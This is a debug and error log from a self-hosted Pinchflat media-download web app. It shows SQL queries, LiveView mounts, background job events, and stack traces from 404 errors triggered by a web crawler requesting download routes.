THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 23:08:38.358 [debug] QUERY OK source="sources" db=1.7ms queue=0.7ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 23:08:38.359 [info] Sent 200 in 9ms 23:08:38.402 [info] CONNECTED TO Phoenix.LiveView.Socket in 39µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "G0hIQVFMZAB5RgE8c1Q6PEIsPQYlD3MLZxplfx5NIrwI55RwokvMi723", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:08:38.407 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 23:08:38.408 [debug] QUERY OK source="sources" db=0.9ms idle=56.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 23:08:38.411 [debug] QUERY OK source="sources" db=2.2ms idle=57.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 23:08:38.412 [debug] Replied in 4ms 23:08:38.414 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:08:38.414 [debug] Replied in 151µs 23:08:59.025 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.023 [info] {"source":"oban","duration":113,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:15.310 [info] GET /sources/1/edit 23:09:15.310 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 23:09:15.311 [debug] QUERY OK source="sources" db=0.3ms idle=1804.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:09:15.312 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.2ms idle=1804.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:09:15.313 [debug] QUERY OK source="settings" db=0.1ms idle=1805.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:09:15.313 [debug] QUERY OK source="settings" db=0.1ms idle=1149.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:09:15.314 [debug] QUERY OK source="settings" db=0.2ms idle=148.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:09:15.319 [info] Sent 200 in 8ms 23:09:15.388 [info] CONNECTED TO Phoenix.LiveView.Socket in 43µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "B1RMQ21yIRcJbCw8NwAROnQVCBF5QRUBFdtnZFpY9XZIqayqYRCZ5yT9", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:09:15.402 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:09:15.402 [debug] Replied in 171µs 23:09:22.413 [info] GET /sources/2/media/78/force_download 23:09:22.414 [debug] QUERY OK source="settings" db=0.2ms idle=1906.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:09:22.414 [debug] QUERY OK source="settings" db=0.1ms idle=1907.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:09:22.414 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:09:22.415 [error] #PID<0.2680.0> running PinchflatWeb.Endpoint (connection #PID<0.2679.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/media/78/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/78/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/78/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52304}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/78", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2680.0>, params: %{}, path_info: ["sources", "2", "media", "78", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2/media/78"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/media/78/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDikEMhhZt6G48AACED"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/78/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52304}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/78", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/78/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/78/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52304}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/78", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2680.0>, params: %{}, path_info: ["sources", "2", "media", "78", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => { (truncated) 23:09:29.027 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:59.028 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.024 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:23.688 [info] GET /sources/2/media/70/force_download 23:10:23.688 [debug] QUERY OK source="settings" db=0.3ms idle=1181.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:10:23.689 [debug] QUERY OK source="settings" db=0.2ms idle=1182.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:10:23.689 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:10:23.690 [error] #PID<0.2687.0> running PinchflatWeb.Endpoint (connection #PID<0.2686.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/media/70/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/70/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/70/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52496}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/70", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2687.0>, params: %{}, path_info: ["sources", "2", "media", "70", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2/media/70"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/media/70/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDinodhN0xlOOUAACKD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/70/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52496}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/70", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/70/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/70/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 52496}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/70", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2687.0>, params: %{}, path_info: ["sources", "2", "media", "70", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => { (truncated) 23:10:29.030 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:59.032 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.025 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:25.462 [info] GET /sources/1/media/91/force_download 23:11:25.463 [debug] QUERY OK source="settings" db=0.2ms 